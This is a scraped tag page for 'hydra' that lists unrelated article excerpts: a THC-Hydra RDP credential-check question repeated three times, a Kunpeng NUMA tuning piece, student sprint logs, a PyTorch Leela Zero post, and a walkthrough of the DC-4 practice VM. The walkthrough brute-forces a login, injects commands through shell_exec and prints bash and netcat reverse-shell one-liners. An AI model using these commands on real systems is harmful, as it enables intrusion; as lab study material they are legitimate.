hydra

Remote Desktop / RDP credentials check from command line (no GUI)

帅比萌擦擦* 提交于 2021-01-24 11:32:51
问题 We're currently writing a tool aimed at checking the validity of credentials over various applications (http, ssh, smb, rdp). No problem for the 3 former. But for RDP, I couldn't find a single way of doing this easily. The tool is embedded within a web app hosted on a linux box, therefore there is no X Server available. The only tool I have successfully used to validate RDP credentials from the command line is THC-Hydra, by supplying a single username and password, it works correctly for

Remote Desktop / RDP credentials check from command line (no GUI)

試著忘記壹切 提交于 2021-01-24 11:32:26
问题 We're currently writing a tool aimed at checking the validity of credentials over various applications (http, ssh, smb, rdp). No problem for the 3 former. But for RDP, I couldn't find a single way of doing this easily. The tool is embedded within a web app hosted on a linux box, therefore there is no X Server available. The only tool I have successfully used to validate RDP credentials from the command line is THC-Hydra, by supplying a single username and password, it works correctly for

Remote Desktop / RDP credentials check from command line (no GUI)

北城余情 提交于 2021-01-24 11:32:05
问题 We're currently writing a tool aimed at checking the validity of credentials over various applications (http, ssh, smb, rdp). No problem for the 3 former. But for RDP, I couldn't find a single way of doing this easily. The tool is embedded within a web app hosted on a linux box, therefore there is no X Server available. The only tool I have successfully used to validate RDP credentials from the command line is THC-Hydra, by supplying a single username and password, it works correctly for

鲲鹏性能优化十板斧——鲲鹏处理器NUMA简介与性能调优五步法

人走茶凉 提交于 2021-01-18 18:58:22
TaiShan特战队六月底成立,至今百日有余,恰逢1024程序员节,遂整理此文,献礼致敬!希望能为广大在鲲鹏处理器上开发软件、性能调优的程序员们,提供一点帮助。从今天开始,将陆续推出性能调优专题文章。原贴链接: https://bbs.huaweicloud.com/blogs/126594 1.1 鲲鹏处理器 NUMA简介 随着现代社会信息化、智能化的飞速发展,越来越多的设备接入互联网、物联网、车联网,从而催生了庞大的计算需求。但是功耗墙问题以功耗和冷却两大限制极大的影响了单核算力的发展。为了满足智能世界快速增长的算力需求,多核架构成为最重要的演进方向。 传统的多核方案采用的是SMP(Symmetric Multi-Processing)技术,即对称多处理器结构,如图1-1所示。在对称多处理器架构下,每个处理器的地位都是平等的,对内存的使用权限也相同。任何一个程序或进程、线程都可以分配到任何一个处理器上运行,在操作系统的支持下,可以达到非常好的负载均衡,让整个系统的性能、吞吐量有较大提升。但是,由于多个核使用相同的总线访问内存,随着核数的增长,总线将成为瓶颈,制约系统的扩展性和性能。 图1-1 对称多处理器SMP架构 鲲鹏处理器支持NUMA(Non-uniform memory access, 非统一内存访问)架构,能够很好的解决SMP技术对CPU核数的制约

DC-4靶机

≡放荡痞女 提交于 2020-08-19 05:41:51
下载 ,安装(vmware直接导入文件),桥接 kali开始nmap扫描 nmap -sP 192.168.123.0/24 找到目标ip:192.168.123.9 浏览器访问,就一个登陆页面 nmap扫描端口;只有22和80 可以确定是linux了(废话) 再dirsearch扫描目录 也没有有用的信息 先试试注入,手注和sqlmap都没找出什么来 burp抓包跑字典暴力破解再试试看 暴力破解出了结果 admin happy 登陆后的页面, 只有一个command,点进去,有3个命令供执行 ls -l 显示目录内容列表 du -h 显示每个文件和目录的磁盘使用情况 df -h 显示磁盘相关信息 试试抓包,执行命令作为明文参数,修改成别的,发现也可以执行(这里我是换成了dir) 验证其可行性后,试试看别的命令,cat command.php 可以看到执行命令的是这个shell_exec()函数 用户是www-data,权限组在33 没有写文件的权限 直接 反弹shell 看上去像是把命令里的&符当成分隔符了。编码一下就解决了 bash+-i+>%26%2Fdev%2Ftcp%2F192.168.123.42%2F1234+0>%261 然鹅还是反弹不出来,看不到报错,也不知道是什么的原因 换nc反弹 nc 192.168.123.41 1234 -e /bin/bash 反弹成功

Hail_Hydra2—beta冲刺随笔集合

这一生的挚爱 提交于 2020-08-18 08:25:32
一些注明 这个作业属于哪个课程 2020春|S班 这个作业要求在哪里 团队作业第六次——beta冲刺+事后诸葛亮 这个作业的目标 beta冲刺置顶集合随笔 作业正文 Hail_Hydra2团队作业第六次——beta冲刺+事后诸葛亮 其他参考文献 1.alpha阶段问题总结随笔 alpha阶段问题总结随笔 2.凡事预则立 凡事预则立随笔 3.代码规范 代码规范 4.七天冲刺博客 [beta冲刺——第一天] [beta冲刺——第二天] [beta冲刺——第三天] [beta冲刺——第四天] [beta冲刺——第五天] [beta冲刺——第六天] [beta冲刺——第七天] 5.用户调查报告 [用户调查报告] 6.随机组队感想 [随机组队感想博客] 7.beta冲刺总结博客 [总结博客] 来源: oschina 链接: https://my.oschina.net/u/4398116/blog/4292690

Hail_Hydra2—凡事预则立

最后都变了- 提交于 2020-08-17 08:46:49
这个作业属于哪个课程 2020春-S班(福州大学) 这个作业的要求在那里 团队作业第六次——beta冲刺+事后诸葛亮 团队名称 Hail Hydra(九头蛇) 这个作业的目标 规划beta冲刺安排 作业正文 作业正文 其他参考文献 beta冲刺计划安排 阶段 阶段描述 具体工作 第一阶段(5.25-5.27) 本阶段主要用于实现alpha冲刺未完成或补充的功能 ①前台完成匿名组件、分类组件②后台完成批量增加用户组件、和展示增加结果组件③后端完成匿名、问题分类以及批量增加用户的功能 第二阶段(5.28-5.30) 在本阶段中后端人员开展单元测试,前端人员优化界面和交互 ①后端开展单元测试并记录文档②前台页面优化问题详情页面、完善输入信息的合法性校验③后台页面优化批量增加按钮样式和问题详情展示样式④后端人员完善异常处理机制 第三阶段(5.31-6.1) 在本阶段中测试人员完成对项目功能测试,编码人员进行代码复审 ①测试人员开展功能测试并记录文档②编码人员进行代码复审,检查代码的规范性和文档的完整性 beta冲刺需要完成的功能 匿名提问、回复功能 批量增加用户功能 问题分类功能 beta冲刺需要完善的部分 美化界面 前台需要美化详情页面的界面显示,补充没有搜索结果时的背景;后台需要补充添加用户结果的显示框,优化举报管理问题详情的显示 完善异常处理机制 后端完善系统的异常处理机制

Hail_Hydra2—Beta冲刺日志(4)

柔情痞子 提交于 2020-08-16 16:46:04
这个作业属于哪个课程 2020春-S班(福州大学) 这个作业的要求在那里 团队作业第六次——beta冲刺+事后诸葛亮 团队名称 Hail Hydra(九头蛇) 这个作业的目标 Beta冲刺4 作业正文 作业正文 其他参考文献 冲刺日志集合 1 SCRUM部分 1. 1 成员描述 成员姓名 完成任务 遇到问题 明日安排 翁绍鸿 审核队友完成的单元测试,讨论并指出存在的问题;解决回复模块的未通过的测试,补充完善举报模块单元测试 暂无 完成模块间相互影响代码的测试工作,初步解决队友在数据填充时发现的问题 张嘉伟 优化点赞、回复模块单元测试 暂无 准备代码复审 黄忠雄 完成冲刺日志的撰写 暂无 跟进博客 唐志豪 完成addUser以及personalInfo的账号输入框以及身份证输入框提示功能 暂无 完成身份证验证功能 黄子峻 数据库数据填充 暂无 bug测试 袁锦辉 美化问题详情页面 暂无 美化输入框 韦琛 填充数据库数据,绘制燃尽图 暂无 bug测试 刘成华 完善后端投诉模块、临时版块、奖励模块的单元测试 暂无 继续完善后端投诉模块、临时版块、奖励模块的单元测试 郑逸豪 因生病无法参与 因生病无法参与 因生病无法参与 1. 2 今日成果截图 分类组件优化 分类功能之前已经完成,但是对分类组件的样式前段时间一直不是很理想,今日前端再次对前台界面的分类组件进行改进

用PyTorch对Leela Zero进行神经网络训练

≡放荡痞女 提交于 2020-08-16 15:12:37
作者|Peter Yu 编译|Flin 来源|towardsdatascience 最近,我一直在寻找方法来加快我的研究和管理我的实验,特别是围绕着写训练管道和管理实验配置文件这两个方面,我发现这两个新项目叫做PyTorch Lightning和Hydra。PyTorch Lightning可以帮助你快速编写训练管道,而Hydra可以帮助你有效地管理配置文件。 PyTorch Lightning: https://github.com/PyTorchLightning/pytorch-lightning Hydra: https://hydra.cc/ 为了练习使用它们,我决定为Leela Zero( https://github.com/leela-zero/leela-zero ) 编写一个训练管道。我这样做,是因为这是一个范围很广的项目,涉及到使用多个gpu在大数据集上训练大型网络,可以说是一个十分有趣的技术挑战。此外,我以前曾经实现过一个更小版本的AlphaGo国际象棋( https://medium.com/@peterkeunwoo/beating-my-brother-in-chess-cb17739ffe2) ,所以我认为这将是一个有趣的业余项目。 在这个博客中,我将解释这个项目的主要细节,以便你能够轻松理解我所做的工作。你可以在这里阅读我的代码: https:/

Hail_Hydra2—Beta冲刺日志(5)

孤街醉人 提交于 2020-08-16 10:28:08
这个作业属于哪个课程 2020春-S班(福州大学) 这个作业的要求在那里 团队作业第六次——beta冲刺+事后诸葛亮 团队名称 Hail Hydra(九头蛇) 这个作业的目标 Beta冲刺5 作业正文 作业正文 其他参考文献 冲刺日志集合 1 SCRUM部分 1. 1 成员描述 成员姓名 完成任务 遇到问题 明日安排 翁绍鸿 完成登录、问题模块单元测试,审查完善全部的单元测试 暂无 开始修复队友在数据填充过程发现的问题 张嘉伟 查阅CodeReview的相关资料并准备第三阶段代码复审 暂无 修改账户数据和回复的数据无法正常删除bug并修复前端页面非谷歌浏览器显示乱码的问题 黄忠雄 完成冲刺日志的撰写 暂无 跟进博客 唐志豪 完成addUser以及personalInfo的身份证号码的准确判定 暂无 完成前台用户界面的文本框输入的限制与判定 黄子峻 数据库填充及BUG测试 暂无 继续完成BUG测试 袁锦辉 美化问题详情页面 暂无 美化问题详情页面 韦琛 测试bug,数据库填充,绘制燃尽图、任务总量变化图 暂无 测试后台页面 刘成华 完善后端奖励模块的单元测试 暂无 编写整合后端单元测试相关文档 郑逸豪 因生病无法参与 因生病无法参与 因生病无法参与 1. 2 今日成果截图 单元测试扫尾工作完成 截止到今天,单元测试的工作已经基本完成,如图所示各个模块基本都已经达到100%的覆盖率